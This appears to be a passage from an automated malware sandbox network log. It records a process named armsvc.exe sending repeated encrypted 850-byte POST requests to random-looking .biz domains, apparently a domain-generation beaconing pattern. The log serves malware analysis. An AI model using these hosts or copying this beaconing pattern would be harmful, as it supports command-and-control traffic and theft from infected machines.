Dec 10, 2024 16:24:22.325201988 CET	412	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 10 Dec 2024 15:24:22 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=512f2f680bc47f5048d2cb9aeb2c66a8\|8.46.123.175\|1733844262\|1733844262\|0\|1\|0; path=/; domain=.npukfztj.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=8.46.123.175; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.7	49734	172.234.222.138	80	6336	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 16:24:23.080528021 CET	351	OUT	POST /opymuwnb HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: przvgke.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 850
Dec 10, 2024 16:24:23.080619097 CET	850	OUT	Data Raw: d5 65 48 9b 9f c6 28 2d 46 03 00 00 3a c1 fc e4 28 af d0 9a f4 1a 2c 13 6f e1 76 6d cb 8d 61 ca 05 12 0b 03 ed b2 14 ef 40 14 05 63 b2 2e 6f 69 7b 8d 53 6e 9d 3d 12 00 bd 74 de 06 c4 3b fa b1 e2 7b 62 06 69 70 c6 bf 8e a1 57 6a 5a 02 c1 65 5d 0a Data Ascii: eH(-F:(,ovma@c.oi{Sn=t;{bipWjZe]4AvqELa<Y88'`C5fC m_X#NrLv;D>}/8eu:< T&}nF`YBfm9qM53
Dec 10, 2024 16:24:24.217123032 CET	470	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Tue, 10 Dec 2024 15:24:24 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.przvgke.biz/opymuwnb Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>
Dec 10, 2024 16:24:28.568732977 CET	349	OUT	POST /meqybx HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: przvgke.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 850
Dec 10, 2024 16:24:28.568873882 CET	850	OUT	Data Raw: 65 a5 d9 91 da 61 9a b1 46 03 00 00 cf 2e 4a b6 f0 1d ad 3f f2 d3 1c 2e c5 3a a1 5a 26 93 57 00 d7 2f ad d5 0d 4c a8 9c 5f 0c df 57 45 5e 5d db bb 8e 8d 1f 72 55 64 eb ca de 2e 0c 46 2f b0 5e 56 2d d9 a1 53 e5 dd 42 49 10 31 89 4a bb 48 38 5c 0c Data Ascii: eaF.J?.:Z&W/L_WE^]rUd.F/^V-SBI1JH8\!J)&r`ile",Gkr8PvM;LW?[AO,kV1N2"YW-\|Xv4 }'qH~jnNHAa`T#>\|RCO/y\M**p@

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.7	49741	72.52.179.174	80	6336	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 16:24:25.179752111 CET	334	OUT	GET /opymuwnb HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Host: ww99.przvgke.biz
Dec 10, 2024 16:24:26.348642111 CET	282	IN	HTTP/1.1 302 Moved Temporarily Date: Tue, 10 Dec 2024 15:24:26 GMT Content-Type: text/html Content-Length: 0 Connection: keep-alive Location: http://ww12.przvgke.biz/opymuwnb?usid=26&utid=9416579686 Cache-Control: no-cache Pragma: no-cache Access-Control-Allow-Origin: *

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.7	49745	76.223.26.96	80	6336	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 16:24:26.908724070 CET	358	OUT	GET /opymuwnb?usid=26&utid=9416579686 HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Host: ww12.przvgke.biz
Dec 10, 2024 16:24:28.200849056 CET	825	IN	HTTP/1.1 200 OK Accept-Ch: viewport-width Accept-Ch: dpr Accept-Ch: device-memory Accept-Ch: rtt Accept-Ch: downlink Accept-Ch: ect Accept-Ch: ua Accept-Ch: ua-full-version Accept-Ch: ua-platform Accept-Ch: ua-platform-version Accept-Ch: ua-arch Accept-Ch: ua-model Accept-Ch: ua-mobile Accept-Ch-Lifetime: 30 Content-Type: text/html; charset=UTF-8 Date: Tue, 10 Dec 2024 15:24:27 GMT Server: Caddy Server: nginx Vary: Accept-Encoding X-Adblock-Key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBALquDFETXRn0Hr05fUP7EJT77xYnPmRbpMy4vk8KYiHnkNpednjOANJcaXDXcKQJN0nXKZJL7TciJD8AoHXK158CAwEAAQ==_MPQJD7SRwpp/8H9LKWnZYJxk63xeOqMMtEr2RLq1GtBUUYPh4MOXtEZv71h8VpGGTyYyMzFxIAAJPJlDrFLM9A== X-Domain: przvgke.biz X-Pcrew-Blocked-Reason: X-Pcrew-Ip-Organization: CenturyLink X-Subdomain: ww12 Transfer-Encoding: chunked
Dec 10, 2024 16:24:28.201351881 CET	1236	IN	Data Raw: 33 64 62 38 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4c 71 75 44 Data Ascii: 3db8<!DOCTYPE html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBALquDFETXRn0Hr05fUP7EJT77xYnPmRbpMy4vk8KYiHnkNpednjOANJcaXDXcKQJN0nXKZJL7TciJD8AoHXK158CAwEAAQ==_MPQJD7SRwpp/8H9LKWnZYJxk63xeOqMMtEr2RLq1GtBUUYPh4MOXtEZv71h8VpGGTyYyM
Dec 10, 2024 16:24:28.202661991 CET	1236	IN	Data Raw: 67 69 6e 3a 30 20 30 20 33 70 78 20 32 30 70 78 3b 0a 7d 0a 0a 2e 73 69 74 65 6c 69 6e 6b 48 6f 6c 64 65 72 20 7b 0a 09 6d 61 72 67 69 6e 3a 2d 31 35 70 78 20 30 20 31 35 70 78 20 33 35 70 78 3b 0a 7d 0a 0a 23 61 6a 61 78 6c 6f 61 64 65 72 48 6f Data Ascii: gin:0 0 3px 20px;}.sitelinkHolder {margin:-15px 0 15px 35px;}#ajaxloaderHolder {display: block;width: 24px;height: 24px;background: #fff;padding: 8px 0 0 8px;margin:10px auto;-webkit-border-radius: 4px;-moz-border-radiu
Dec 10, 2024 16:24:28.202676058 CET	1236	IN	Data Raw: 3b 0a 7d 0a 0a 2e 66 6f 6f 74 65 72 20 7b 0a 20 20 20 20 63 6f 6c 6f 72 3a 23 36 32 36 35 37 34 3b 0a 20 20 20 20 70 61 64 64 69 6e 67 3a 32 72 65 6d 20 31 72 65 6d 3b 0a 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 2e 38 72 65 6d 3b 0a 20 20 20 20 Data Ascii: ;}.footer { color:#626574; padding:2rem 1rem; font-size:.8rem; margin:0 auto; max-width:440px;}.footer a:link,.footer a:visited { color:#626574;}.sale_link_bold a,.sale_link,.sale_link a { color:#626574
Dec 10, 2024 16:24:28.205384970 CET	1236	IN	Data Raw: 74 6f 6d 3a 20 32 30 70 78 3b 0a 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 72 67 62 28 31 37 2c 20 33 38 2c 20 37 37 29 3b 0a 20 20 20 20 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 2d 6c 69 6e 65 3a 20 6e 6f 6e 65 3b 0a Data Ascii: tom: 20px; background-color: rgb(17, 38, 77); text-decoration-line: none; font-size: 18px; font-weight: 700; color: #ffffff; text-align: left;}.fallback-arrow { float: right; width: 24px; height: 24px;
Dec 10, 2024 16:24:28.205398083 CET	1236	IN	Data Raw: 61 6d 65 22 3e 0a 20 20 20 20 20 20 20 20 3c 68 31 3e 70 72 7a 76 67 6b 65 2e 62 69 7a 3c 2f 68 31 3e 0a 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 Data Ascii: ame"> <h1>przvgke.biz</h1> </div> <div class="tcHolder"> <div id="tc"></div> </div> </div> </div> <div class="footer"> 2024 Copyright. All Rig
Dec 10, 2024 16:24:28.208373070 CET	1236	IN	Data Raw: 20 20 20 20 20 20 27 74 79 70 65 27 3a 20 27 73 65 61 72 63 68 62 6f 78 27 2c 0a 20 20 20 20 20 20 20 20 27 66 6f 6e 74 53 69 7a 65 53 65 61 72 63 68 49 6e 70 75 74 27 3a 20 31 32 2c 0a 20 20 20 20 20 20 20 20 27 68 69 64 65 53 65 61 72 63 68 49 Data Ascii: 'type': 'searchbox', 'fontSizeSearchInput': 12, 'hideSearchInputBorder': false, 'hideSearchButtonBorder': true, 'fontSizeSearchButton': 13, 'colorBackground': 'transparent', 'colorSearchBut
Dec 10, 2024 16:24:28.208412886 CET	1236	IN	Data Raw: 63 61 74 69 6f 6e 2e 73 65 61 72 63 68 20 3f 20 6c 6f 63 61 74 69 6f 6e 2e 73 65 61 72 63 68 20 2b 20 27 26 27 20 3a 20 27 3f 27 29 20 2b 20 27 5f 78 61 66 76 72 3d 4d 32 55 33 59 7a 42 6c 4e 44 63 34 59 6a 51 7a 4f 44 63 77 5a 6a 45 79 4f 44 6b Data Ascii: cation.search ? location.search + '&' : '?') + '_xafvr=M2U3YzBlNDc4YjQzODcwZjEyODk1ZTlmZTUxNzU2MmI1Y2I1MzEwNyw2NzU4NWQyYmU4Zjk1'; }let pageLoadedCallbackTriggered = false;let fallbackTriggered = false;let formerCalledArguments = false;let page
Dec 10, 2024 16:24:28.211345911 CET	1236	IN	Data Raw: 20 27 76 69 73 69 62 6c 65 27 3b 70 61 67 65 4c 6f 61 64 65 64 43 61 6c 6c 62 61 63 6b 54 72 69 67 67 65 72 65 64 20 3d 20 74 72 75 65 3b 69 66 20 28 28 73 74 61 74 75 73 2e 66 61 69 6c 6c 69 73 74 65 64 20 3d 3d 3d 20 74 72 75 65 20 7c 7c 20 73 Data Ascii: 'visible';pageLoadedCallbackTriggered = true;if ((status.faillisted === true \|\| status.faillisted == "true" \|\| status.blocked === true \|\| status.blocked == "true" ) && status.error_code != 25) {ajaxQuery(scriptPath + "/track.php?domain=" + en
Dec 10, 2024 16:24:28.211359978 CET	1236	IN	Data Raw: 20 3d 3d 20 22 74 72 75 65 22 29 20 7b 61 6a 61 78 51 75 65 72 79 28 73 63 72 69 70 74 50 61 74 68 20 2b 20 22 2f 74 72 61 63 6b 2e 70 68 70 3f 64 6f 6d 61 69 6e 3d 22 20 2b 20 65 6e 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 28 64 6f 6d 61 Data Ascii: == "true") {ajaxQuery(scriptPath + "/track.php?domain=" + encodeURIComponent(domain) + "&caf=1&toggle=needsreview&uid=" + encodeURIComponent(uniqueTrackingID));}if ((status.adult === true \|\| status.adult == "true") && !isAdult) {ajaxQuery(scr
Dec 10, 2024 16:24:28.320898056 CET	1236	IN	Data Raw: 79 28 73 63 72 69 70 74 50 61 74 68 20 2b 20 22 2f 74 72 61 63 6b 2e 70 68 70 3f 64 6f 6d 61 69 6e 3d 22 20 2b 20 65 6e 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 28 64 6f 6d 61 69 6e 29 20 2b 20 22 26 63 61 66 3d 31 26 74 6f 67 67 6c 65 3d Data Ascii: y(scriptPath + "/track.php?domain=" + encodeURIComponent(domain) + "&caf=1&toggle=answercheck&answer=rejected&uid=" + encodeURIComponent(uniqueTrackingID));}}};let x = function (obj1, obj2) {if (typeof obj1 != "object")obj1 = {};for (let key i

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.7	49756	18.141.10.107	80	6336	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 16:24:30.030884027 CET	352	OUT	POST /tydyiliq HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: knjghuig.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 850
Dec 10, 2024 16:24:30.031089067 CET	850	OUT	Data Raw: 4f 64 6d ab 51 ea 70 1f 46 03 00 00 2c 86 d0 2f e6 ca 0e 8d b5 ac c7 67 37 d4 ef c1 ad 67 60 9b 0c da e1 36 08 37 3c f6 84 49 e8 6f 28 6b 50 b4 0e 90 9b f2 3f 89 b7 25 3e 73 f3 fb 44 53 b1 19 3a 9a 2c ae 76 b4 e1 e8 cb 76 27 a0 51 be ee 36 53 9c Data Ascii: OdmQpF,/g7g`67<Io(kP?%>sDS:,vv'Q6SK@%*pq8V!@s;cuM:IwpN W4OT,YRfXPE"}JL>zqZWKnIz3jfBlncQ,yw8EZ.JV0&!
Dec 10, 2024 16:24:32.045830965 CET	412	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 10 Dec 2024 15:24:31 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=6109d80e9b4564a356edadc5011f2a64\|8.46.123.175\|1733844271\|1733844271\|0\|1\|0; path=/; domain=.knjghuig.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=8.46.123.175; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.7	49763	82.112.184.197	80	6336	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 16:24:33.760775089 CET	346	OUT	POST /hncx HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: lpuegx.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 850
Dec 10, 2024 16:24:33.760775089 CET	850	OUT	Data Raw: a2 09 ba a8 cd c1 28 db 46 03 00 00 c1 4e bc 6f a6 21 6b c9 55 13 2b 9d 2c 82 a5 6e 44 1f ae 9f 12 3b 91 a3 3f 38 d5 ba 52 9e d0 dc 14 90 a6 d1 76 19 48 62 34 00 86 15 8c 17 91 4c f4 4e 4b 58 bb f6 d2 2e ce 18 1c ff c2 d5 d7 7e 76 e0 33 ce d9 d0 Data Ascii: (FNo!kU+,nD;?8RvHb4LNKX.~v3nm,iG\|!;MeqX$S)H<7@h'g9%2/z>OrY5 A%+QM.s_DF{X!b#H*e>?\|isYYRd>T9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.7	49815	82.112.184.197	80	6336	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 16:24:55.833528042 CET	355	OUT	POST /fprrydnqfsccl HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: lpuegx.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 850
Dec 10, 2024 16:24:55.833553076 CET	850	OUT	Data Raw: ac aa f9 63 96 5f cc 5b 46 03 00 00 81 39 1a 84 4f ed fa 8b dd c8 bb ba e5 ab 65 32 43 e1 e1 d3 0e bc ef 56 00 05 19 71 fb a6 51 45 94 04 55 67 f6 74 e6 7f 7c a0 3b 51 e0 31 2a c6 2a 83 dc 83 29 18 3c d7 ae f5 3e 2f d0 7b b5 d7 f9 16 ce 87 c1 af Data Ascii: c_[F9Oe2CVqQEUgt\|;Q1**)<>/{{)e8\|YoPI4@b^9`?,-l~OGs-gd\CWdA?^-a.cZXhG\|\|C5~ah=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.7	49872	82.112.184.197	80	6336	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 16:25:19.263192892 CET	347	OUT	POST /kp HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: vjaxhpbji.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 850
Dec 10, 2024 16:25:19.263308048 CET	850	OUT	Data Raw: a1 22 ce 6d 1d 18 f3 30 46 03 00 00 62 81 ab 6a 2d f9 c7 6e 20 41 8d ee 0f 50 04 05 0c 6f 1e c0 c4 6e 44 b0 e7 02 f4 0a 6d 14 32 02 01 a5 95 58 15 7a c9 e0 ea e3 c9 0a 88 9b e7 2a 00 8b 5e c1 71 03 6a b7 54 91 72 d0 64 28 d6 82 e6 e1 f0 e6 f4 a1 Data Ascii: "m0Fbj-n APonDm2Xz*^qjTrd(OS0/Q4RSzS`9K>6fl/)9Bf(XC'oP7+L1/d+0%~'T%gCc40jN<>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.7	49916	82.112.184.197	80	6336	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 16:25:41.324840069 CET	350	OUT	POST /hptny HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: vjaxhpbji.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 850
Dec 10, 2024 16:25:41.324919939 CET	850	OUT	Data Raw: 74 01 c2 33 f2 f3 e7 14 46 03 00 00 72 c0 c9 ef 2e c2 d0 db 9e aa 08 6c f4 ab 64 7b 3d 11 ca 07 b0 1d 5f 71 d7 84 d7 fe 02 0a 60 69 68 d1 01 51 02 74 80 51 6b dc 2a b6 02 cb 39 d6 7e 79 21 32 7c 3d dd 19 80 7c 57 2e ee ca 7b 66 42 c0 12 c1 7d a6 Data Ascii: t3Fr.ld{=_q`ihQtQk9~y!2\|=\|W.{fB}M~udv=$qxulVk;UK6J<j]t_-8@s};I>P)G5Y*Y]MR'mT'"S0hc7<?u'Q[!Z5

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.7	49966	47.129.31.212	80	6336	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 16:26:04.881828070 CET	358	OUT	POST /sqemlirtfccimfo HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: xlfhhhm.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 850
Dec 10, 2024 16:26:04.881864071 CET	850	OUT	Data Raw: 4f a7 b7 e8 24 37 1a cb 46 03 00 00 9c bf 34 91 89 ec 13 2f d9 91 da 8e 4c c6 f4 0c a0 26 7c 85 55 7b 67 ae 27 ec 56 64 10 a1 1a 88 5c f9 9d ec c1 91 d1 58 ae aa 46 49 7e e1 f0 71 f1 22 11 a0 4e 0f c3 f3 7c 91 a5 c3 50 d9 98 59 a8 f0 fb 03 ed ea Data Ascii: O$7F4/L&\|U{g'Vd\XFI~q"N\|PYYGJm]=0`{lc~YBY Qe30Iv7T7QrP/6)9z#UY$~=0^lz'b]AD
Dec 10, 2024 16:26:06.959920883 CET	411	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 10 Dec 2024 15:26:06 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=0bb489b072230014809904507c25a33b\|8.46.123.175\|1733844366\|1733844366\|0\|1\|0; path=/; domain=.xlfhhhm.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=8.46.123.175; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.7	49972	13.251.16.150	80	6336	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 16:26:08.098440886 CET	354	OUT	POST /vcyisuboorqd HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: ifsaia.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 850
Dec 10, 2024 16:26:08.098464966 CET	850	OUT	Data Raw: db a9 cf 1c aa 96 3e 6f 46 03 00 00 84 d7 4f 72 07 15 45 8a a8 66 11 bb 63 94 c1 53 7c 50 9d 8f 1c 60 87 bf 7b 02 6e 0c 7d 9a 87 2a 0a f3 0c e2 b2 48 e2 80 32 51 1d 55 bf b2 c0 3f 70 65 b3 ea 93 c3 80 6c 9e dd 1e 46 5e ec 91 15 99 de e9 81 44 03 Data Ascii: >oFOrEfcS\|P`{n}H2QU?pelF^D-x0 (wO\&w\|QG%g}P$_ >@tGYwO3qkiaa!>_.r77h'H4Z?LA%#A4fMwJ95f
Dec 10, 2024 16:26:10.184322119 CET	410	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 10 Dec 2024 15:26:09 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=21c087b90081b79c3106bfe3b46d814e\|8.46.123.175\|1733844369\|1733844369\|0\|1\|0; path=/; domain=.ifsaia.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=8.46.123.175; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.7	49978	44.221.84.105	80	6336	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 16:26:10.914565086 CET	350	OUT	POST /peioi HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: saytjshyf.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 850
Dec 10, 2024 16:26:10.914565086 CET	850	OUT	Data Raw: 08 93 b7 70 8b 54 dc 11 46 03 00 00 28 21 7b e9 3b 82 bb 70 bf 8e c3 39 f0 f8 4b f2 fa 19 c9 f4 b0 55 9c 1b 76 a0 8f 21 7a df 8c 9e 4f af 3c 75 1e 89 22 13 4a f4 8d a9 c5 f6 d8 e9 91 2f 0e 68 4a a9 08 f7 1a 84 a3 fd e0 25 10 d2 17 79 77 d0 82 e2 Data Ascii: pTF(!{;p9KUv!zO<u"J/hJ%ywxkWH4n}K,{@I,LvnAKi$_.TiN7{d+(RA;PuxK0E;+PT4^[yOVIf,B&:mapQ:5
Dec 10, 2024 16:26:12.340123892 CET	413	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 10 Dec 2024 15:26:12 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=e1faa78bea3315d74f47f9b6ae36d659\|8.46.123.175\|1733844372\|1733844372\|0\|1\|0; path=/; domain=.saytjshyf.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=8.46.123.175; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.7	49984	18.141.10.107	80	6336	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 16:26:13.685950994 CET	349	OUT	POST /ymdlhl HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: vcddkls.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 850
Dec 10, 2024 16:26:13.685950994 CET	850	OUT	Data Raw: cb 0d d3 11 17 76 ef f2 46 03 00 00 a4 75 1b 6f 81 8d 53 85 54 90 10 93 fd 11 4c 2f 68 1c 6b ce 46 48 17 07 fd c0 89 d6 ae f8 65 bd 24 d1 8f c4 92 f1 9d 58 1f 3e ab 90 4b 6b e2 81 55 88 1b 16 70 1e 11 75 38 81 8b fb f0 93 35 a3 20 63 0f 2a ea 1d Data Ascii: vFuoSTL/hkFHe$X>KkUpu85 c*92&tU;%\|$$.8p/HC\4CdCV[4I\RD-63]X>pM2;C(/FZt1<W9\[r>u8yb5M%f^T&a
Dec 10, 2024 16:26:16.152347088 CET	411	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 10 Dec 2024 15:26:15 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=09dc52fa23dca1182baa6c7e488ff8fb\|8.46.123.175\|1733844375\|1733844375\|0\|1\|0; path=/; domain=.vcddkls.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=8.46.123.175; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.7	49990	172.234.222.143	80	6336	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe

Timestamp	Bytes transferred	Direction	Data
